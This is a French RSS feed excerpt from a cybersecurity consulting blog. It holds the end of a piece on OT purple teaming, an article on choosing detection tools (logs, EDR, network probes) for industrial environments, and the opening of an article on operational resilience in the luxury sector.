<li><span data-contrast="auto">Il révèle les angles morts tôt dans le programme</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Il fournit des KPI quantitatifs pour piloter les améliorations de détection</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Et oui, cela est possible dans la plupart des environnements de production, sous les conditions suivantes :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Périmètre strictement contrôlé</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Actions approuvées par les fournisseurs</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Pas d’exécution de fonctions perturbatrices</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Implication des équipes opérationnelles et sécurité</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Surveillance continue du comportement du système pendant les tests</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">En bref : commencez petit, restez prudent, et itérez.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><b><span data-contrast="auto">N’attendez pas que votre programme de sécurité OT soit “terminé” pour commencer à en tester l’efficacité !</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/12/purple-teaming-pour-lot-comment-passer-de-la-conformite-a-la-performance/">Purple Teaming pour l’OT : Comment passer de la conformité à la performance ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/12/purple-teaming-pour-lot-comment-passer-de-la-conformite-a-la-performance/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>​​Stratégie d’outillage cybersécurité pour une détection industrielle efficace​</title>
		<link>https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 10:01:14 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28060</guid>

					<description><![CDATA[<p>Détection en environnement industriel Dans cet article précédent : Quelle détection pour l’OT ?  Situation actuelle &#38; perspectives, nous avons constaté que l’OT, bien que moins touché que l’IT, n&#8217;est pas exempt ni immunisée contre les cyberattaques. Toutefois, en raison...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/">​​Stratégie d’outillage cybersécurité pour une détection industrielle efficace​</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>Détection en environnement industriel</h1>
<p>Dans cet article précédent : <a href="https://www.riskinsight-wavestone.com/2025/09/quelle-detection-pour-lot-situation-actuelle-perspectives/">Quelle détection pour l’OT ?  Situation actuelle &amp; perspectives</a>, nous avons constaté que l’OT, bien que moins touché que l’IT, n&rsquo;est pas exempt ni immunisée contre les cyberattaques. Toutefois, en raison de la difficulté à mettre à jour les systèmes de contrôle industriels (ICS), les mesures de cybersécurité sont souvent ajoutées après le déploiement. Le monitoring continu est perçu comme un substitut pratique à une protection intégrée dès la conception (cyber-by-design).</p>
<p>En matière d&rsquo;outillage de monitoring, nous avons observé que 100 % de nos clients disposent d&rsquo;outils de détection déployés du côté IT. Cependant, seul un tiers étend cette surveillance jusqu&rsquo;aux couches inférieures de l&rsquo;environnement industriel :</p>
<p><img loading="lazy" decoding="async" class=" wp-image-28086 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR1.png" alt="" width="738" height="531" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR1.png 1060w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR1-266x191.png 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR1-768x552.png 768w" sizes="auto, (max-width: 738px) 100vw, 738px" /></p>
<p>Il existe une grande variété de sources de détection permettant une surveillance (monitoring) à travers les différents niveaux du modèle Purdue :</p>
<ul>
<li>Logs de pare-feu (y compris industriels)</li>
<li>Logs des protection des endpoints (antivirus, whitelisting d’applications, EPP, EDR, etc.)</li>
<li>Logs d’authentification et d’accès (par exemple, Active Directory ou authentification locale)</li>
<li>Logs d’accès distant (par exemple, VPN, serveurs de rebond, bastion)</li>
<li>Les honeypots et autres</li>
<li>Sondes de détection et de surveillance réseau (écoute des réseaux industriels)</li>
<li>Logs des stations blanches (par exemple, bornes USB)</li>
<li>Logs industriels (provenant des systèmes SCADA, IHM, PLC… lorsqu’ils sont disponibles)</li>
</ul>
<p>Traditionnellement, peu de ces logs sont collectés et analysés par les solutions SIEM et/ou SOAR, avec ou sans modèles de détection OT spécifiques. Pourtant, ils devraient permettre à l&rsquo;équipe du SOC de détecter, d&rsquo;enquêter sur les événements de sécurité et d&rsquo;y répondre.</p>
<p>Élaborer une stratégie de détection cohérente pour les environnements OT ne nécessite pas de collecter les données de toutes les sources possibles. <span data-teams="true">En réalité, quelques sources bien choisies, <strong>correctement configurées, peuvent permettre d&rsquo;offrir une forte visibilité et de solides capacités de détection</strong>. L’essentiel est de se concentrer sur les sources de logs qui sont à la fois pertinentes au regard de l’architecture OT et facile à mettre en place sans perturber les opérations. Prioriser la qualité et la pertinence opérationnelle des sources de détection plutôt que leur quantité permet d&rsquo;assurer une posture de cybersécurité plus efficace et durable.</span></p>
<h1>Comment tirer le meilleur parti des sources de détection ?</h1>
<h2>Commencer avec les logs déjà disponibles</h2>
<p>Une approche pragmatique et rentable de la détection OT consiste <strong>à commencer par exploiter les logs et les modèles de détection déjà disponibles</strong> dans l&rsquo;environnement industriel, en particulier ceux qui sont déjà utilisés pour vos environnements IT. Par exemple, <strong>les logs des pares-feux</strong>, notamment ceux qui surveillent les périmètres IT/OT, peuvent fournir des informations précieuses sur les schémas de trafic réseau, les violations de segmentation ou les tentatives d&rsquo;accès <span data-teams="true">distant</span> suspectes. De même, les logs Active Directory (AD) peuvent révéler des comportements utilisateurs anormaux, des échecs d&rsquo;authentification ou des <span data-teams="true">élévations </span>de privilèges — tous étant des signaux critiques dans les contextes IT et OT. L&rsquo;exploitation de ces sources existantes permet aux organisations de mettre en place des capacités de détection initiales sans investissement lourd, tout en posant une base solide pour une surveillance plus avancée à l&rsquo;avenir.</p>
<p>Plutôt que de commencer par le déploiement d&rsquo;outils de détection complexes spécifiques à l&rsquo;OT, les organisations devraient <strong>construire leurs capacités de détection initiales en utilisant ce qui est déjà déployé, configuré et maîtrisé</strong>. Cette approche permet non seulement de réduire les coûts, mais aussi d&rsquo;accélérer la mise en œuvre sur l&rsquo;ensemble des sites industriels. L&rsquo;objectif est <strong>d&rsquo;assurer un niveau de visibilité de base cohérent</strong> sur les applications, les systèmes et les infrastructures critiques avant d&rsquo;approfondir la surveillance.</p>
<p>En commençant par l&rsquo;existant et en se concentrant sur <strong>la couverture plutôt que sur la complexité</strong>, les organisations peuvent aborder la détection OT avec rapidité, pertinence et réalisme opérationnel, tout en préparant le terrain pour des capacités plus avancées à l&rsquo;avenir.</p>
<p>Nous allons maintenant aller plus loin en nous concentrant sur les deux outils de détection les plus déployés et discutés dans les environnements industriels aujourd&rsquo;hui : les solutions EDR et les sondes de détection réseau.</p>
<h3>EDR</h3>
<p>Les solutions <strong>EDR (Endpoint Detection &amp; Response)</strong> offrent une surveillance et une analyse continues des activités des points de terminaison afin de détecter les cybermenaces, d&rsquo;y enquêter et d&rsquo;y répondre en temps réel. L&rsquo;EDR collecte des données détaillées telles que l&rsquo;exécution des processus, les modifications de fichiers, les connexions réseau et le comportement des utilisateurs. En s&rsquo;appuyant sur l&rsquo;analyse comportementale et les renseignements sur les menaces (<em>threat intelligence</em>), les outils EDR peuvent identifier des activités suspectes comme les infections par logiciels malveillants, les mouvements latéraux ou les <span data-teams="true">élévation</span>s de privilèges.</p>
<p><span data-teams="true">Cet outil de détection, largement utilisé dans les environnements IT, est désormais adopté par la majorité de nos clients pour un déploiement au sein de leurs environnements industriels.</span></p>
<p>Cependant, cela ne signifie pas que 100 % des dispositifs OT sont compatibles avec les solutions EDR. En réalité, la compatibilité des EDR varie considérablement selon la diversité des systèmes industriels et leurs contraintes opérationnelles. Le déploiement de l&rsquo;EDR est généralement simple aux niveaux supérieurs du modèle Purdue, tels que la Couche 3 et la Couche 3.5, où les systèmes (serveurs et postes de travail) ressemblent à des environnements IT traditionnels. À la Couche 2, l&rsquo;implémentation exige des tests approfondis et une personnalisation, car les dispositifs et les protocoles sont plus spécialisés et leurs ressources limitées. Enfin, aux niveaux les plus bas (contrôleurs, PLC et équipements de terrain), l&rsquo;EDR n&rsquo;est généralement pas viable en raison de leur capacité de traitement limitée, de leurs systèmes d&rsquo;exploitation propriétaires et de leurs exigences de performance en temps réel. Le déploiement sur de tels dispositifs risque de perturber les processus critiques ou de provoquer l&rsquo;instabilité du système, et doit donc être évité.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-28101 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR2-1.png" alt="" width="1252" height="492" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR2-1.png 1252w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR2-1-437x172.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR2-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_FR2-1-768x302.png 768w" sizes="auto, (max-width: 1252px) 100vw, 1252px" /></p>
<p>Pour les environnements qui le supportent, l&rsquo;extension de la couverture EDR permet :</p>
<ul>
<li>Répondre à la faible maturité : Commencer par des outils plus simples à mettre en œuvre et nécessitant une maturité moindre.</li>
<li>Couverture étendue : Se concentrer sur la couverture rapide d&rsquo;un large éventail de systèmes, de sites et d&rsquo;applications critiques.</li>
<li>Exploiter les outils IT : Utiliser des solutions basées sur la IT, comme l&rsquo;EDR, pour une détection efficace sans nécessiter de lourdes exigences d&rsquo;infrastructure.</li>
</ul>
<p><span data-teams="true">Pour conclure,<strong> le déploiement d’agents EDR sur les serveurs et les postes de travail OT</strong> devient de plus en plus pertinent et représente une possibilité de <strong>gain rapide pour la détection OT</strong>, selon les retours de nos clients.</span></p>
<h3>Les Sondes de Détection OT</h3>
<p>Une sonde de détection (<a href="https://www.riskinsight-wavestone.com/2024/10/sondes-de-detection-pour-lot-les-cles-pour-reussir-son-deploiement/">detection probe</a>) est un équipement, qu&rsquo;il soit virtuel ou physique, connecté au système d&rsquo;information afin de le cartographier et de le surveiller. Elle est composée de capteurs distribués à travers le réseau pour collecter des données, et typiquement, d&rsquo;une console centrale pour agréger, corréler et analyser ces informations.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24245 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247.png" alt="" width="1279" height="245" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-437x84.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094247-768x147.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></p>
<p> Les sondes destinées aux environnements industriels, que nous appellerons ici simplement sondes OT, se caractérisent par leur écoute passive et non invasive sur le réseau, ainsi que par leur compréhension des protocoles et comportements industriels. Toutes ces solutions de sondes fonctionnent sur le même principe : le trafic réseau est collecté via une duplication de flux (SPAN, ERSPAN&#8230;) ou un duplicateur physique (Taps, etc.). Les paquets sont inspectés en temps réel pour fournir plusieurs types de données : inventaire et cartographie des flux, gestion des actifs et des vulnérabilités, et enfin, détection des anomalies et des incidents. Ce sont précisément les larges capacités de détection promises ainsi que la variété des cas d&rsquo;usage possibles de ces données et des types d&rsquo;utilisateurs impliqués (équipes opérationnelles et métiers, équipes de cybersécurité, etc.) qui rendent les sondes OT si populaires.</p>
<p>Cependant, nos clients sont souvent confrontés à <strong>des défis importants lorsqu&rsquo;il s&rsquo;agit de déployer</strong> ces sondes à grande échelle et de les exploiter efficacement pour la détection sur l&rsquo;ensemble des réseaux industriels.</p>
<p><img loading="lazy" decoding="async" class="wp-image-28095 size-full aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_fr4-e1761832775338.png" alt="" width="1280" height="475" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_fr4-e1761832775338.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_fr4-e1761832775338-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_fr4-e1761832775338-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/otprobe2_fr4-e1761832775338-768x285.png 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p>Voici les défis fréquemment rencontrés lors du déploiement des sondes OT :</p>
<ul>
<li><strong>Défis liés aux capacités et aux ressources du réseau des sites industriels :</strong> Le déploiement des sondes OT présente souvent des défis significatifs en raison des limites de l’infrastructure réseau industrielle. Les taps réseau et les ports SPAN sur les commutateurs, couramment utilisés pour la surveillance du trafic, ne sont pas toujours manageables ou disponibles dans les environnements OT, ce qui limite les options de capture de trafic passif. De plus, les coûts associés à l’installation de taps réseau peuvent être prohibitifs. Enfin, le déploiement et la maintenance des sondes exigent des ressources qualifiées sur place.</li>
<li><strong>Défis liés à la sélection des points d’écoute :</strong> Les sondes OT collectent et corrèlent l’information via la capture de trafic réseau. Pour être efficace, leur déploiement nécessite une sélection minutieuse des points d’écoute en fonction des cibles visées. Les points d’écoute doivent être adaptés à l’architecture de chaque site, un processus souvent limité par les connaissances des équipes locales et le manque de documentation. De plus, comme les environnements industriels varient d’un site à l’autre au sein d’une même organisation, il est très difficile d’établir un <strong>standard unique</strong>. Par conséquent, la sélection et la configuration des points d’écoute constituent un processus répétitif et itératif qui doit être ajusté pour chaque déploiement afin de garantir une visibilité et des capacités de détection optimales.</li>
</ul>
<p>Au-delà du déploiement, l&rsquo;exploitation de ces sondes s&rsquo;accompagne également de défis et exige une <strong>charge de travail significative</strong>. Elles ont tendance à générer un nombre élevé de faux positifs, ce qui oblige les équipes à créer des règles de détection et des playbooks sur mesure pour filtrer et répondre efficacement aux alertes. En moyenne, nous estimons <strong>qu&rsquo;un analyste SOC à temps plein</strong> est requis pour gérer les alertes générées par <strong>50 sondes.</strong></p>
<p><span data-teams="true">En conclusion, bien que les sondes OT soient populaires, <strong>les coûts et les ressources nécessaires à leur déploiement et à leur exploitation limitent leur pleine utilisation</strong>. Notre recommandation est de prioriser le déploiement des sondes OT sur les sites critiques ou au sein des segments réseau clés qui exigent des capacités avancées de surveillance industrielle. Cette approche ciblée permet de maximiser le retour sur investissement tout en garantissant une détection efficace là où elle est essentielle pour nos clients.</span></p>
<h3>Envisager d’autres solutions ?</h3>
<p><span data-teams="true">Concernant la détection pour le périmètre industriel, bien que cet article se concentre sur des sources clés comme les solutions EDR et les sondes réseau OT, il est important de reconnaître que d’autres solutions, telles que les technologies de leurre comme les honeypots, <strong>peuvent également jouer un rôle précieux</strong> et être pertinentes dans des scénarios ou environnements spécifiques, en fonction de l’architecture de vos sites industriels ou <strong>des scénarios de compromission redoutés.</strong></span></p>
<h1>Conclusion</h1>
<p>Pour conclure, voici les recommandations clés pour élaborer une stratégie d’outillage de détection efficace pour mettre sous surveillance des environnements industriels :</p>
<ol>
<li><strong><span class="TextRun SCXW224367835 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW224367835 BCX0">Tirez parti des outils existants pour un impact immédiat</span></span></strong></li>
</ol>
<p>Commencez par maximiser la valeur <strong>des sources de détection déjà disponibles</strong> dans votre environnement industriel : logs de pare-feu, EDR, Active Directory, logs d&rsquo;accès <span data-teams="true">distant</span>, etc. <span data-teams="true">L’adaptation à l&rsquo;OT des patterns <strong>de détection IT</strong> éprouvés permet aux organisations d’atteindre rapidement un niveau de visibilité de base sans nécessiter d&rsquo;investissements lourds. Cette première approche garantie un déploiement plus rapide et une couverture plus large de vos assets industriels.</span></p>
<ol start="2">
<li><strong>Déployer des solutions avancées là où elles sont pertinentes</strong></li>
</ol>
<p><span class="TextRun SCXW264573278 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW264573278 BCX0">Lorsque vous étendez vos capacités de détection, donnez la priorité au déploiement d&rsquo;outils avancés tels que les </span></span><strong><span class="TextRun SCXW264573278 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW264573278 BCX0">sondes réseau</span></span></strong><span class="TextRun SCXW264573278 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW264573278 BCX0"> OT là où ils apportent le plus de </span><span class="NormalTextRun SCXW264573278 BCX0">valeur</span><span class="NormalTextRun SCXW264573278 BCX0">. Pour les </span><span class="NormalTextRun SCXW264573278 BCX0">sondes réseau</span><span class="NormalTextRun SCXW264573278 BCX0">, concentrez-vous sur les sites ou segments critiques et sélectionnez soigneusement les </span></span><strong><span class="TextRun SCXW264573278 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW264573278 BCX0">points d&rsquo;écoute</span></span></strong><span class="TextRun SCXW264573278 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW264573278 BCX0"> afin </span><span class="NormalTextRun SCXW264573278 BCX0">d’optimiser </span><span class="NormalTextRun SCXW264573278 BCX0">la visibilité, le coût et les frais généraux opérationnels. Cette approche de déploiement ciblée garantit une utilisation efficace et stratégique des ressources.</span></span></p>
<ol start="3">
<li><strong>Prioriser la qualité et la pertinence plutôt que la quantité</strong></li>
</ol>
<p><span class="TextRun SCXW34349626 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW34349626 BCX0">Pour élaborer une stratégie de détection OT efficace, il n&rsquo;est pas nécessaire d</span><span class="NormalTextRun SCXW34349626 BCX0">’écouter </span><span class="NormalTextRun SCXW34349626 BCX0">toutes les sources de données possibles. Concentrez-vous plutôt sur les sources qui sont à la fois pertinentes pour votre environnement et techniquement exploitables</span><span class="NormalTextRun SCXW34349626 BCX0">,</span><span class="NormalTextRun SCXW34349626 BCX0"> sans perturber les opérations. Cette approche permet de réduire les coûts de stockage et de gestion des journaux et de créer des règles de détection pertinentes et de meilleure qualité. </span></span><span class="EOP SCXW34349626 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p>N&rsquo;hésitez pas à nous contacter pour discuter de la manière dont vous pouvez <strong>élaborer et améliorer votre stratégie de détection pour surveiller vos actifs industriels !</strong></p>
<p>Dans notre prochain article, nous examinerons comment évaluer la détection en environnements industriels en utilisant <strong>des exercices de purple team</strong>, une méthode pratique pour <span class="TextRun SCXW124424191 BCX0" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW124424191 BCX0">évaluer et améliorer</span></span> vos capacités de détection.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/">​​Stratégie d’outillage cybersécurité pour une détection industrielle efficace​</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>La résilience opérationnelle dans le secteur du luxe</title>
		<link>https://www.riskinsight-wavestone.com/2025/10/la-resilience-operationnelle-dans-le-secteur-du-luxe/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/10/la-resilience-operationnelle-dans-le-secteur-du-luxe/#respond</comments>
		
		<dc:creator><![CDATA[Alexandre Bianchi]]></dc:creator>
		<pubDate>Wed, 08 Oct 2025 08:22:42 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[résilience opérationelle]]></category>
		<category><![CDATA[secteur du luxe]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27894</guid>

					<description><![CDATA[<p>Panorama et recommandations   Le marché du luxe ne cesse de se développer au niveau mondial et devrait représenter 2500 milliards d’euros en 2030[1]. La santé de ce secteur a dès lors une influence de plus en plus importante sur...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/la-resilience-operationnelle-dans-le-secteur-du-luxe/">La résilience opérationnelle dans le secteur du luxe</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 style="text-align: center;">Panorama et recommandations</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Le marché du luxe ne cesse de se développer au niveau mondial et devrait représenter 2500 milliards d’euros en 2030<a href="#_ftn1" name="_ftnref1">[1]</a>. La santé de ce secteur a dès lors une influence de plus en plus importante sur l’économie. C’est d’autant plus vrai pour la France, où le secteur est bien représenté dans le CAC 40<a href="#_ftn2" name="_ftnref2">[2]</a>. Ainsi, dans cette machine constituée de cuir et de soie, un grain de sable est susceptible de coûter des dizaines de millions d’euros, mais aussi d’impacter durablement l’image de ces entreprises. Or, les facteurs de risques sont multiples.</p>
<p style="text-align: justify;">Comme tous les secteurs, le luxe est impacté par l’instabilité géopolitique et le réchauffement climatique : d’une part, en raison de la forte internationalisation de sa chaîne de valeur (en 2023, les entreprises françaises du luxe ont exporté pour 50,6 milliards d’euros<a href="#_ftn3" name="_ftnref3">[3]</a>), d’autre part, du fait de sa forte dépendance en ressources naturelles de qualité, notamment les cuirs, textiles, et minerais.</p>
<p style="text-align: justify;">Ces dernières années, les entreprises du luxe ont fortement accéléré la digitalisation de leurs processus métier, depuis la fabrication jusqu’à la vente. Leurs fonctions critiques reposent donc de plus en plus sur des actifs exposés aux incidents informatiques, issus ou non de cyberattaques. En particulier, le recours croissant à l’IA et l’IoT est un différenciateur fort d’un point de vue métier, mais augmente également la surface d’exposition à des risques technologiques encore partiellement identifiés et atténuables du fait de leur nouveauté.</p>
<p style="text-align: justify;">Dès lors, le secteur se retrouve confronté à une problématique clef : comment assurer sa pérennité dans un contexte de menace croissante ? En réaction, un concept fondamental s’impose dans les grandes Maisons, celui de la résilience opérationnelle. Quel est l’état de l’art du secteur du luxe sur la résilience opérationnelle ? Quels sont les dispositifs déployés par les maisons du luxe pour assurer la résilience de leurs activités critiques ?</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>La résilience opérationnelle appliquée au luxe </strong></h3>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">Les Armées ont été parmi les premières à s’approprier le concept de résilience opérationnelle, en le définissant comme « l’aptitude à affronter les conséquences d’une crise traumatique et rebondir, en agissant avec efficacité en dépit d’un environnement dégradé et des préjudices humains, organisationnels et techniques qu’elles [les Armées, ndlr] auraient elles-mêmes subies »<a href="#_ftn4" name="_ftnref4">[4]</a>.</p>
<p style="text-align: justify;">Si cette définition présente une forte teinte militaire, il en ressort toutefois un objectif pouvant être visé par toute organisation : être apte à affronter des perturbations majeures et à rebondir. Ainsi, aujourd’hui la résilience opérationnelle a commencé à pénétrer l’ensemble des secteurs d’activité, de l’énergie à la santé, en passant par le luxe. Cet état de fait a été notamment favorisé par l’accroissement des réglementations et des normes consacrées à la résilience opérationnelle, tout particulièrement dans le secteur financier (DORA, Solvabilité II, PCI DSS…).</p>
<p style="text-align: justify;">Chez Wavestone nous considérons que la résilience opérationnelle est structurée autour de 7 grands piliers. Ceux-ci sont inspirés de l’état de l’art, en premier lieu la norme ISO 22301<a href="#_ftn5" name="_ftnref5">[5]</a>, mais également les normes européennes. Le secteur du luxe est tout à fait approprié à l’édification de ces piliers, à partir du moment où l’on prend en compte ses spécificités.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 1 : La connaissance des activités vitales et de leurs actifs les supportant </h5>
<p style="text-align: justify;">Cela consiste à identifier et améliorer la connaissance de ce qui doit devenir résilient, parmi l’ensemble des processus métier et actifs de l’entité. Pour ce faire, 2 approches existent :</p>
<ul style="text-align: justify;">
<li>Une approche exhaustive, basée sur la réalisation d’un Business Impact Assessment (BIA) sur l’ensemble des processus de l’organisation, permettant d’avoir une vision globale des activités et donc de connaitre les processus vitaux et les actifs les soutenant (infrastructures IT, applications, ateliers…). Cependant, cette approche est particulièrement chronophage et une telle exhaustivité n’a pas forcément une grande valeur ajoutée dans la mise en place d’une stratégie de résilience efficiente ;</li>
<li>Une approche pragmatique, basée sur une analyse d’impact limitée aux processus vitaux de l’organisation, identifiés en amont par le top management. C’est une approche plus rapide et à plus forte valeur ajoutée, permettant de se focaliser dès le début sur l’analyse des processus reconnus comme vitaux par les métiers, puis de remonter vers les applications et les infrastructures qui les soutiennent.</li>
</ul>
<p style="text-align: justify;">Cette cartographie est un point de départ essentiel pour concentrer les efforts sur ce qui est réellement important pour l’entité. Dans le secteur du luxe, il nous semble important d’être particulièrement attentif aux catégories d’actifs suivantes : les ressources humaines pouvant détenir des savoir-faire rares, les matières premières, les outils de fabrication, les actifs liés à la logistique et au paiement.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 2 : La maîtrise des risques</h5>
<p style="text-align: justify;">L’objectif est d’adapter les mesures de résilience opérationnelle au profil de risque de l’entité, c’est-à-dire en concentrant les efforts en prévention des scénarios de risques les plus impactant et les plus vraisemblables.</p>
<p style="text-align: justify;">Dans le secteur du luxe, il nous semble utile de prendre en compte l’ensemble des risques susceptibles d’affecter l’activité de l’entité, notamment les risques liés à l’instabilité géopolitique, au réchauffement climatique et à l’IT/OT, qui impacteraient l’approvisionnement en matières premières rares, la production et la distribution.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 3 : La mise en place et l’amélioration continue des solutions de continuité </h5>
<p style="text-align: justify;">Cela consiste à mettre en place les mesures pertinentes de résilience, au travers notamment de plans de continuité d’activité prenant en compte les risques identifiés et se concentrant sur les activités vitales.</p>
<p style="text-align: justify;">Dans le secteur du luxe, il nous semble utile de définir ces mesures avec les métiers, d’une manière pragmatique et qui va à l’essentiel. L’idée étant que les mesures de résilience se fondent dans les processus métier en permettant d’améliorer leur qualité, tout en évitant qu’elles ne soient perçues comme une nouvelle contrainte.</p>
<p style="text-align: justify;">De plus, les métiers du luxe sont bien souvent des artisans, seuls détenteurs de la vision claire de leurs processus (autrement dit, leur art). La résilience de leur métier repose en bonne partie sur eux. Une approche intéressante serait ainsi d’inverser la méthode habituellement utilisée : ne pas formaliser une procédure de continuité puis la tester, mais plutôt mettre en place un exercice/test auprès des métiers afin de formaliser une procédure à partir des bonnes pratiques qu’ils mettraient naturellement en place.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 4 : La gestion de ses tiers</h5>
<p style="text-align: justify;">L’objectif est de suffisamment connaître les tiers impliqués dans les activités vitales de l’entité et de s’assurer qu’ils ne constituent pas un obstacle à leur résilience.</p>
<p style="text-align: justify;">Dans le secteur du luxe, la nature des tiers présente des spécificités à prendre en compte. D’une part, ce sont souvent des artisans ou des TPE qui n’ont pas travaillé sur leur propre résilience. D’autre part, certains tiers sont les seuls à proposer le niveau de qualité recherché par la Maison de luxe, ce qui est susceptible de placer ces dernières en situation de dépendance. Une réflexion est donc nécessaire afin de co-construire des solutions de résilience avec ces tiers, notamment à travers des exercices de gestion de crise.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 5 : La capacité à gérer une crise </h5>
<p style="text-align: justify;">Cela consiste à mettre en place un dispositif permettant la gestion des crises de toute nature, susceptibles de survenir et que l’entité devra « affronter » : IT, cyber, sûreté et métier.</p>
